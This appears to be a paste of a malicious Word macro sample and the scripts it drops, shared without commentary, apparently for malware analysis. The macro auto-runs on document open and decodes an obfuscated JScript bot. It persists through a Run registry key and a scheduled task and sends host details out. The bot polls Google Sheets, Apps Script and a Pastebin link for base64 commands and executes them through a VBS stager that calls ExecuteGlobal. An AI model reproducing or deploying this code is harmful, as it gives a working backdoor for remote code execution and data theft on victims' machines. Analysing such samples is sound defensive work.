  518.  f = f & "iwgc2VwYXJhdG9yLCBsaW1pdCkgew0KCXN0ciA9IHN0ci5zcGxpdChzZXBhcmF0b3IpOw0KCWlm"
  519.  f = f & "KHN0ci5sZW5ndGggPD0gbGltaXQpIHJldHVybiBzdHI7DQoNCgl2YXIgcmV0ID0gc3RyLnNwbGl"
  520.  f = f & "jZSgwLCBsaW1pdCk7DQoJcmV0LnB1c2goc3RyLmpvaW4oc2VwYXJhdG9yKSk7DQoNCglyZXR1cm"
  521.  f = f & "4gcmV0Ow0KfQ0KDQpmdW5jdGlvbiBDVUlEKCl7DQoJdmFyIHNuID0gIjEiOw0KCXRyeSB7DQoJC"
  522.  f = f & "XZhciBGU08gPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmpl"
  523.  f = f & "Y3QiKTsgDQoJCXZhciBzdHJEcml2ZSA9IEZTTy5HZXREcml2ZU5hbWUoRlNPLkdldFNwZWNpYWx"
  524.  f = f & "Gb2xkZXIoMCkpOw0KCQl2YXIgRCA9IEZTTy5HZXREcml2ZShzdHJEcml2ZSk7DQoJCXNuID0gRC"
  525.  f = f & "5TZXJpYWxOdW1iZXI7DQoJfSBjYXRjaCAoZSkge30NCgl2YXIgcmVzdWx0ID0gQmFzZTY0LmVuY"
  526.  f = f & "29kZShzbi50b1N0cmluZygpKTsNCglyZXN1bHQgPSByZXN1bHQucmVwbGFjZSgvW15cd10rL2cs"
  527.  f = f & "ICIiKS5zbGljZSgwLCAyMCk7DQoJcmVzdWx0ID0gdXVpZCsiLiIrZ2lhYysiLiIrcmVzdWx0Ow0"
  528.  f = f & "KCXJldHVybiAJcmVzdWx0Ow0KfQ=="
  529.  
  530. Set sh = CreateObject("WScript.Shell")
  531. Dim FileNumber, figName, procID
  532. Dim WorkPath As String
  533. WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
  534. WorkPath = WorkPath & "\TransbaseOdbcDriver"
  535. Dim statMkDir As Boolean
  536. statMkDir = CreateDir(WorkPath)
  537. If statMkDir Then
  538.     FileNumber = FreeFile
  539.     figName = WorkPath & "\TransbaseOdbcDriver.js"
  540.     Open figName For Output As #FileNumber
  541.     Print #FileNumber, AP6fuezipn4(f)
  542.     Close #FileNumber
  543.     procID = Shell("wscript " & figName, vbHide)
  544. End If
  545.  
  546. End Sub
  547.  
  548. Private Sub SetRegData()
  549.    On Error Resume Next
  550.    Set sh = CreateObject("WScript.Shell")
  551.    Dim wscript_pthpath: wscript_pthpath = sh.ExpandEnvironmentStrings("%WINDIR%") + "\System32\WScript.exe"
  552.    Dim run_pth_scr: run_pth_scr = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%") + "\TransbaseOdbcDriver" + "\starter.vbs"
  553.    Dim run_pth: run_pth = """" & wscript_pthpath & """ """ & run_pth_scr & """"
  554.    On Error Resume Next
  555.    sh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\TransbaseOdbcDriver", run_pth, "REG_SZ"
  556.    On Error Resume Next
  557.    sh.Run "schtasks /create /tn ""SysChecks"" /tr """ & run_pth & """ /sc minute /mo 30", 0, False
  558. End Sub
  559.  
  560. Sub BH5qxufh333W99fghjplkWrtqzzY()
  561.     Dim BI5kb0jp7 As Document: Set BI5kb0jp7 = ActiveDocument
  562.     Application.ScreenUpdating = False
  563.    
  564.     Dim txt As String
  565.     txt = cuid()
  566.     txt = txt & " | " & GetUserData()
  567.     txt = txt & " | " & IsWin32OrWin64()
  568.     txt = txt & " | " & getOS()
  569.  
  570.     On Error GoTo ErrHandler:
  571.    
  572.     Dim res
  573.     res = sendFormData(txt)
  574.    
  575.     If res Then
  576.         ActiveDocument.Bookmarks("orderBkm12").Range.Text = "2017-3"
  577.     Else
  578.         ActiveDocument.Bookmarks("orderBkm12").Range.Text = "3037-2"
  579.     End If
  580.        
  581.     ActiveDocument.Shapes(1).Visible = False
  582.     ActiveDocument.Shapes(2).Visible = True
  583.  
  584. ErrHandler:
  585.    
  586.     On Error GoTo ErrHandler2:
  587.  
  588.     folderInit
  589.     ggl_runer
  590.     ggl_starter
  591.    
  592.     Application.Run ("ggl_hex")
  593.     SetRegData
  594. ErrHandler2:
  595.    
  596.    
  597.  
  598.  
  599.    
  600.  
  601.  
  602.  
  603.  
  604.  
  605.    
  606.    
  607.     Application.ScreenUpdating = True
  608. End Sub
  609.  
  610. Sub AutoOpen()
  611.     Application.Run ("BH5qxufh3" + (AP6fuezipn4("MzNXOTlmZw==") & "hj" & "" & "plkWrtqzzY"))
  612. End Sub
  613.  
  614. Sub Workbook_Open()
  615.     Application.Run ("BH5qxufh3" + (AP6fuezipn4("MzNXOTlm") & "ghj" & Chr(-89 + 201) & Chr(-66 + 174) & Chr(12 + 95) & "WrtqzzY"))
  616. End Sub
  617.  
  618.  
  619. ===== TransbaseOdbcDriver.js ===================================================================
  620.  
  621. var objSWbemServicesEx = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
  622. var collSWbemObjectSet = objSWbemServicesEx.ExecQuery( "SELECT Name, CommandLine, ProcessID FROM Win32_Process WHERE Name LIKE '%[cw]script.exe' AND CommandLine LIKE '%[cw]script%" + WScript.ScriptName + "%'", "WQL", 0);
  623. if(collSWbemObjectSet.Count > 1){ WScript.Quit(); }
  624.  
  625. var Base64 = {
  626.  
  627.   // private property
  628.   _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  629.  
  630.   // public method for encoding
  631.   encode: function (input) {
  632.     var output = "";
  633.     var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  634.     var i = 0;
  635.  
  636.     input = Base64._utf8_encode(input);
  637.  
  638.     while (i < input.length) {
  639.  
  640.       chr1 = input.charCodeAt(i++);
  641.       chr2 = input.charCodeAt(i++);
  642.       chr3 = input.charCodeAt(i++);
  643.  
  644.       enc1 = chr1 >> 2;
  645.       enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  646.       enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  647.       enc4 = chr3 & 63;
  648.  
  649.       if (isNaN(chr2)) {
  650.         enc3 = enc4 = 64;
  651.       } else if (isNaN(chr3)) {
  652.         enc4 = 64;
  653.       }
  654.  
  655.       output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
  656.  
  657.     }
  658.  
  659.     return output;
  660.   },
  661.  
  662.   // public method for decoding
  663.   decode: function (input) {
  664.     var output = "";
  665.     var chr1, chr2, chr3;
  666.     var enc1, enc2, enc3, enc4;
  667.     var i = 0;
  668.  
  669.     input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  670.  
  671.     while (i < input.length) {
  672.  
  673.       enc1 = this._keyStr.indexOf(input.charAt(i++));
  674.       enc2 = this._keyStr.indexOf(input.charAt(i++));
  675.       enc3 = this._keyStr.indexOf(input.charAt(i++));
  676.       enc4 = this._keyStr.indexOf(input.charAt(i++));
  677.  
  678.       chr1 = (enc1 << 2) | (enc2 >> 4);
  679.       chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  680.       chr3 = ((enc3 & 3) << 6) | enc4;
  681.  
  682.       output = output + String.fromCharCode(chr1);
  683.  
  684.       if (enc3 != 64) {
  685.         output = output + String.fromCharCode(chr2);
  686.       }
  687.       if (enc4 != 64) {
  688.         output = output + String.fromCharCode(chr3);
  689.       }
  690.  
  691.     }
  692.  
  693.     output = Base64._utf8_decode(output);
  694.  
  695.     return output;
  696.  
  697.   },
  698.  
  699.   // private method for UTF-8 encoding
  700.   _utf8_encode: function (string) {
  701.     string = string.replace(/\r\n/g, "\n");
  702.     var utftext = "";
  703.  
  704.     for (var n = 0; n < string.length; n++) {
  705.  
  706.       var c = string.charCodeAt(n);
  707.  
  708.       if (c < 128) {
  709.         utftext += String.fromCharCode(c);
  710.       } else if ((c > 127) && (c < 2048)) {
  711.         utftext += String.fromCharCode((c >> 6) | 192);
  712.         utftext += String.fromCharCode((c & 63) | 128);
  713.       } else {
  714.         utftext += String.fromCharCode((c >> 12) | 224);
  715.         utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  716.         utftext += String.fromCharCode((c & 63) | 128);
  717.       }
  718.  
  719.     }
  720.  
  721.     return utftext;
  722.   },
  723.  
  724.   // private method for UTF-8 decoding
  725.   _utf8_decode: function (utftext) {
  726.     var string = "";
  727.     var i = 0;
  728.     var c = c1 = c2 = 0;
  729.  
  730.     while (i < utftext.length) {
  731.  
  732.       c = utftext.charCodeAt(i);
  733.  
  734.       if (c < 128) {
  735.         string += String.fromCharCode(c);
  736.         i++;
  737.       } else if ((c > 191) && (c < 224)) {
  738.         c2 = utftext.charCodeAt(i + 1);
  739.         string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  740.         i += 2;
  741.       } else {
  742.         c2 = utftext.charCodeAt(i + 1);
  743.         c3 = utftext.charCodeAt(i + 2);
  744.         string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  745.         i += 3;
  746.       }
  747.  
  748.     }
  749.  
  750.     return string;
  751.   }
  752. }
  753.  
  754. if(!CreateDir())WScript.Quit();
  755.  
  756. var giac = "1";
  757. var uuid = "1";
  758. var guid = CUID();
  759.    
  760. var setttingArr = false;
  761.  
  762. do {
  763.    
  764.     if ( setttingArr ) {
  765.         GetSourceCode(setttingArr.spreadsheetkey, setttingArr.formkey, setttingArr.entry);
  766.     }else{
  767.         setttingArr = LoadLinkSettings();  
  768.     }
  769.     WScript.Sleep(1000*60*randInt(1,2));
  770. }
  771. while (1);
  772. function randInt(min, max){
  773.   return Math.round(Math.random()*(max-min)+min);
  774. }
  775.  
  776. function LoadLinkSettings() {
  777.     var go_com = InetRead("https://script.google.com/macros/s/AKfycbzoIDrStSeb5iJmwsxGZBvocsw4da2FZw0_fqOkRAgwzH7h2aE/exec"+ "?bid=" + guid);
  778.     try {
  779.         if( go_com['stat'] >= 200 &&  go_com['stat'] < 300){
  780.             var cmd_txt = go_com['text'];
  781.             var settingsArr = cmd_txt.match( /,\\x22userHtml\\x22:\\x22(.+)\\x22,\\x22ncc/ );
  782.             var setting = split(settingsArr[1],'$$$',3);
  783.             if (setting.length == 3) {
  784.                 return {
  785.                      "spreadsheetkey": setting[0]
  786.                     ,"formkey": setting[1]
  787.                     ,"entry": setting[2]
  788.                 };     
  789.             }
  790.             var formkeyReg = "1BZuP3VYQjLAI59Dp_O9vCH1kg_gQNvhIvv-BkmpBTZ4";
  791.             var entryReg = "entry.2025885932";
  792.             LogInet(guid,formkeyReg,entryReg);         
  793.         }
  794.     } catch (e) {}
  795.     return false;  
  796. }      
  797.  
  798. function GetSourceCode(aspreadsheetkey,aformkey,aentry) {
  799.  
  800.         var GlobalObject = this;
  801.         var FSO = new ActiveXObject("Scripting.FileSystemObject");
  802.         var WshShell = new ActiveXObject("WScript.Shell");
  803.        
  804.         var formkey = aformkey;
  805.         var entry = aentry;
  806.         var spreadsheetkey = aspreadsheetkey;
  807.  
  808.         var intervalMin = 30;
  809.         var intervalMax = 50;
  810.         var botclass = GenerateString(8);
  811.         var last = TextFileRead("%ALLUSERSPROFILE%\\TransbaseOdbcDriver\\dttsg.txt");
  812.         var version = "1.0";
  813.        
  814.         var linkPB = "http://pastebin.com/raw/MfQV5e6R"; //as of 2017-02-02 {last: "abc123", code: "ZGltIHh4eA=="}
  815.         var keyPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\lasts";    
  816.        
  817.         WshShell.CurrentDirectory = GetScriptDir();
  818.         Log();
  819.         GetCommand();
  820.        
  821.         function GetCommand() {
  822.                 try {
  823.                         var legc = getLastExeGoogCmd();
  824.                         var cmb_ob = {}
  825.                         cmb_ob.flag = false;
  826.                        
  827.                         var go_com = InetRead("https://docs.google.com/spreadsheet/ccc?key=" + spreadsheetkey);
  828.                         if( go_com['stat'] >= 200 &&  go_com['stat'] < 300){
  829.                             var cmd_txt = HTMLParse(go_com['text']).document.documentElement.innerText;
  830.                             var command = split(cmd_txt,'$$$',3);  
  831.                             if (command.length == 4) {
  832.                                 cmb_ob.c = command[2];
  833.                                 cmb_ob.l = command[1];
  834.                                 cmb_ob.flag = true;
  835.                             }else{
  836.                                 cmb_ob.flag = false;
  837.                             }
  838.                             legc = 0;
  839.                         }else{
  840.                             legc = parseInt(legc)+1;
  841.                         }
  842.                        
  843.                         legc = setLastExeGoogCmd(legc);
  844.                         if(legc >= 1 && legc <=4)return;
  845.                        
  846.                         if( !cmb_ob.flag ){
  847.                             var pb_com = InetRead(linkPB);
  848.                             if( pb_com['stat'] >= 200 &&  pb_com['stat'] < 300){
  849.                                 var jsn = eval ("(" + pb_com['text'] + ")");
  850.                                 cmb_ob.c = jsn["code"];
  851.                                 cmb_ob.l = jsn['last'];
  852.                                 cmb_ob.flag = true;
  853.                             }else{
  854.                                 cmb_ob.flag = false;
  855.                             }
  856.                         }
  857.                        
  858.                         if( cmb_ob.flag ){
  859.                             if(last != cmb_ob.l){
  860.                                 //last = cmb_ob.l;
  861.                                 var r = TextFileCreate("%ALLUSERSPROFILE%\\TransbaseOdbcDriver\\dttsg.txt");
  862.                                 r.Write(cmb_ob.l);
  863.                                 r.Close();
  864.                                 Log("GetCommand::" + cmb_ob.c);
  865.                                 //eval(cmb_ob.c);
  866.                                 if(last == "")return;
  867.                                
  868.                                 var cod_data = Base64.decode(cmb_ob.c);                            
  869.                                 if(cod_data == "deleteBot")destroy();
  870.  
  871.                                 var tempname1 = "LanCradDriver.ini";
  872.                                 var tempname2 = "LanCradDriver.vbs";
  873.                                 var tmpPath = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver");
  874.                                 var tempath1 = tmpPath + "\\"+tempname1;
  875.                                 var tempath2 = tmpPath + "\\"+tempname2;
  876.                                
  877.                                 var f = FSO.OpenTextFile(tempath1,2,false,-1);
  878.                                 f.Write(cod_data);
  879.                                 f.Close();
  880.                                
  881.                                 WScript.Sleep(5000);
  882.                                 WshShell.Run('cmd.exe /k wscript.exe "' + tempath2 + '"',0,false); 
  883.                             }                          
  884.                         }else{
  885.                             Log("GetCommand::" + "no exect");
  886.                         }                  
  887.                 } catch (e) {
  888.                         Log("GetCommand::" + e.description);
  889.                 }
  890.         }
  891.  
  892.         function getRandomInt(min, max) {
  893.                 return Math.floor(Math.random() * (max - min + 1)) + min;
  894.         }
  895.  
  896.         function GetScriptDir() {
  897.                 return GetScriptFullPath().replace(/[^\\]+$/g, "");
  898.         }
  899.  
  900.         function GetScriptFullPath() {
  901.                 if (GlobalObject.location && GlobalObject.location.href) return unescape(location.href.replace(/^.+\/\/\//, "").replace(/\//g, "\\"));
  902.                 if (GlobalObject.WScript) return WScript.ScriptFullName;
  903.                 return "";
  904.         }
  905.  
  906.         function HTMLParse(code, dont_prevent_code_exec) {
  907.                 try {
  908.                         var document = new ActiveXObject("HTMLFile");
  909.                         if (!dont_prevent_code_exec) document.designMode = "on";
  910.                         document.write(code);
  911.                         document.close();
  912.                         if (!dont_prevent_code_exec) document.execCommand("stop");
  913.                         return document.parentWindow;
  914.                 } catch (e) {
  915.                         Log("HTMLParse::" + e.description)
  916.                 };
  917.                 return {};
  918.         }
  919.  
  920.         function Log(value) {
  921.                 value = value || "";
  922.                 value
  923.                 value = guid + "$$$" + botclass + "::" + GetUserName() + "::" + encodeURI(value);
  924.                 LogInet(value,formkey,entry);
  925.         }
  926.  
  927.         function FileExists(Path) {
  928.                 Path = WshShell.ExpandEnvironmentStrings(Path);
  929.                 return FSO.FolderExists(Path) || FSO.FileExists(Path);
  930.         }
  931.  
  932.         function TextFileRead(Path) {
  933.                 if (!Path) return "";
  934.                 if (!FileExists(Path)) return "";
  935.                 Path = WshShell.ExpandEnvironmentStrings(Path);
  936.                 if (FSO.GetFile(Path).Size == 0) return "";
  937.                 try {
  938.                         var Stream = FSO.OpenTextFile(Path, 1, 0, -2),
  939.                                 Result = Stream.ReadAll();
  940.                         Stream.Close();
  941.                         return Result;
  942.                 } catch (e) {
  943.                         //Log("TextFileRead::" + Path + "::" + e.descrition);
  944.                 };
  945.         }
  946.  
  947.         function TextFileCreate(Path) {
  948.                 try {
  949.                         Path = WshShell.ExpandEnvironmentStrings(Path);
  950.                         if (FileExists(Path)) FSO.DeleteFile(Path, true);
  951.                         return FSO.OpenTextFile(Path, 2, 1, -1)
  952.                 } catch (e) {
  953.                         Log("TextFileCreate::" + e.description)
  954.                 };
  955.                 return null;
  956.         }
  957.  
  958.         function GenerateString(L) {
  959.                 if (!L) L = 8;
  960.                 return new ActiveXObject("Scriptlet.TypeLib").Guid.replace(/[^\w]+/g, "").slice(0, L);
  961.         }
  962.  
  963.         function CreateObject(ProgId) {
  964.                 return new ActiveXObject(ProgId);
  965.         }
  966.  
  967.         function GetUserName() {
  968.                 try {
  969.                         return CreateObject("WScript.NetWork").UserName;
  970.                 } catch (e) {
  971.                         Log("GetUserName::" + e.description);
  972.                         return "Unknown"
  973.                 }
  974.         }
  975.  
  976.         function getLastExeGoogCmd() {
  977.             var regValue = 0;
  978.             try {          
  979.                 regValue = WshShell.RegRead(keyPath);
  980.             } catch (e) {
  981.                 setLastExeGoogCmd(regValue);
  982.             }
  983.             return regValue;
  984.         }
  985.         function setLastExeGoogCmd(regValue) {
  986.             try {          
  987.                 WshShell.RegWrite(keyPath,regValue, "REG_SZ");         
  988.             } catch (e) {
  989.                 return -1;
  990.             }
  991.             return regValue;                       
  992.         }
  993.        
  994.         function sDOS2Win(sText, bInsideOut) {
  995.           var aCharsets = ["windows-1251", "cp866"];
  996.           sText += "";
  997.           bInsideOut = bInsideOut ? 1 : 0;
  998.           with (new ActiveXObject("ADODB.Stream")) {
  999.             type = 2; //Binary 1, Text 2 (default)
  1000.             mode = 3; //Permissions have not been set 0,  Read-only 1,  Write-only 2,  Read-write 3,  
  1001.             //Prevent other read 4,  Prevent other write 8,  Prevent other open 12,  Allow others all 16
  1002.             charset = aCharsets[bInsideOut];
  1003.             open();
  1004.             writeText(sText);
  1005.             position = 0;
  1006.             charset = aCharsets[1 - bInsideOut];
  1007.             return readText();
  1008.           }
  1009.         }      
  1010.  
  1011.         function destroy(){
  1012.             try {
  1013.                 WshShell.RegDelete("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\TransbaseOdbcDriver");       
  1014.             }catch(e){}
  1015.  
  1016.             try {
  1017.                 WshShell.Run('schtasks /delete /tn "SysChecks" /f', 0, false);
  1018.             }catch(e){}
  1019.  
  1020.             var strScriptDir = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver");
  1021.             var strScript = "";
  1022.            
  1023.             try {
  1024.                 strScript = WScript.ScriptFullName;
  1025.                 if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
  1026.             }catch(e){}
  1027.  
  1028.             try {
  1029.                 strScript = strScriptDir + "\\LanCradDriver.ini";
  1030.                 if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
  1031.             }catch(e){}
  1032.             try {
  1033.                 strScript = strScriptDir + "\\LanCradDriver.vbs";
  1034.                 if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
  1035.             }catch(e){}
  1036.             try {
  1037.                 strScript = strScriptDir + "\\starter.vbs";
  1038.                 if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
  1039.             }catch(e){}
  1040.             try {
  1041.                 strScript = strScriptDir + "\\pather.vbs";
  1042.                 if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
  1043.             }catch(e){}
  1044.             try {
  1045.                 strScript = strScriptDir + "\\pather.ini";
  1046.                 if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
  1047.             }catch(e){}
  1048.                        
  1049.             WScript.Quit();        
  1050.         }          
  1051. }
  1052.  
  1053. function CreateDir(){
  1054.     try {
  1055.         var WshShell = new ActiveXObject("WScript.Shell");
  1056.         var dirpath = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver");     
  1057.         var FSO = WScript.CreateObject("Scripting.FileSystemObject");      
  1058.         if(!FSO.FolderExists(dirpath)){
  1059.             FSO.CreateFolder(dirpath);
  1060.         }
  1061.         return true;
  1062.     }catch(e){}
  1063.     return true;
  1064. }  
  1065.  
  1066. function getProxy(){
  1067.     var WshShell = new ActiveXObject("WScript.Shell");
  1068.    
  1069.     try {
  1070.         var ProxyEnable = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable");
  1071.         if(ProxyEnable == 1){
  1072.             var ProxyServer = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer");
  1073.             return ProxyServer;
  1074.         }else{
  1075.             return "";
  1076.         }
  1077.     } catch (e) {
  1078.         return "";
  1079.     }          
  1080. }
  1081.  
  1082. function InetRead(url) {
  1083.         var data_sataus_arr = new Object();
  1084.         try {
  1085.                 var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
  1086.                 httpReq.setOption(2, 13056); //SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS = 13056;  SXH_OPTION_URL = -1
  1087.                 httpReq.setTimeouts(0, 0, 0, 0);
  1088.                 httpReq.open("GET", url, false);
  1089.                 var prox = getProxy()
  1090.                 if( prox != ""){
  1091.                     httpReq.setProxy(2, prox, "");
  1092.                 }              
  1093.                 httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
  1094.                 httpReq.send();
  1095.                 //WScript.Echo(httpReq.getAllResponseHeaders());
  1096.                 //WScript.Echo(httpReq.status);
  1097.                 data_sataus_arr['stat'] = httpReq.status;
  1098.                 data_sataus_arr['text'] = httpReq.responseText;
  1099.         } catch (e) {
  1100.             //WScript.Echo(httpReq.status);
  1101.             data_sataus_arr['text'] = "";
  1102.             data_sataus_arr['stat'] = "100";
  1103.         };
  1104.         return data_sataus_arr;
  1105. }
  1106.  
  1107. function LogInet(value,formkey,entry) {
  1108.     try {
  1109.         var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
  1110.         httpReq.setOption(2, 13056);
  1111.         httpReq.setTimeouts(0, 0, 0, 0);
  1112.         url = "https://docs.google.com/forms/d/" + formkey + "/formResponse";
  1113.         httpReq.open("POST", url, false);
  1114.         var prox = getProxy()
  1115.         if( prox != ""){
  1116.             httpReq.setProxy(2, prox, "");
  1117.         }
  1118.         httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
  1119.         httpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
  1120.         httpReq.send(entry + "=" + value);
  1121.     } catch (e) {}
  1122. }
  1123.  
  1124. function split(str, separator, limit) {
  1125.     str = str.split(separator);
  1126.     if(str.length <= limit) return str;
  1127.  
  1128.     var ret = str.splice(0, limit);
  1129.     ret.push(str.join(separator));
  1130.  
  1131.     return ret;
  1132. }
  1133.  
  1134. function CUID(){
  1135.     var sn = "1";
  1136.     try {
  1137.         var FSO = WScript.CreateObject("Scripting.FileSystemObject");
  1138.         var strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0));
  1139.         var D = FSO.GetDrive(strDrive);
  1140.         sn = D.SerialNumber;
  1141.     } catch (e) {}
  1142.     var result = Base64.encode(sn.toString());
  1143.     result = result.replace(/[^\w]+/g, "").slice(0, 20);
  1144.     result = uuid+"."+giac+"."+result;
  1145.     return  result;
  1146. }
  1147. ==== LanCradDriver.vbs ====================================================================
  1148.  
  1149. Dim objFSO, objShell, strFile, ReadAllTextFile
  1150. Set objFSO = CreateObject("Scripting.FileSystemObject")
  1151. Set objShell = WScript.CreateObject( "WScript.Shell" )
  1152. strFile = objShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\TransbaseOdbcDriver\LanCradDriver.ini")
  1153. Set objFile = objFSO.OpenTextFile(strFile,1,false,-1)
  1154. If objFile.AtEndOfStream Then
  1155.     ReadAllTextFile = ""
  1156. Else
  1157.     ReadAllTextFile = objFile.ReadAll
  1158. End If
  1159. objFile.Close
  1160. ExecuteGlobal ReadAllTextFile
  1161.  
  1162.  
  1163. ## uploaded by @JohnLaTwc
Add Comment
Please, Sign In to add comment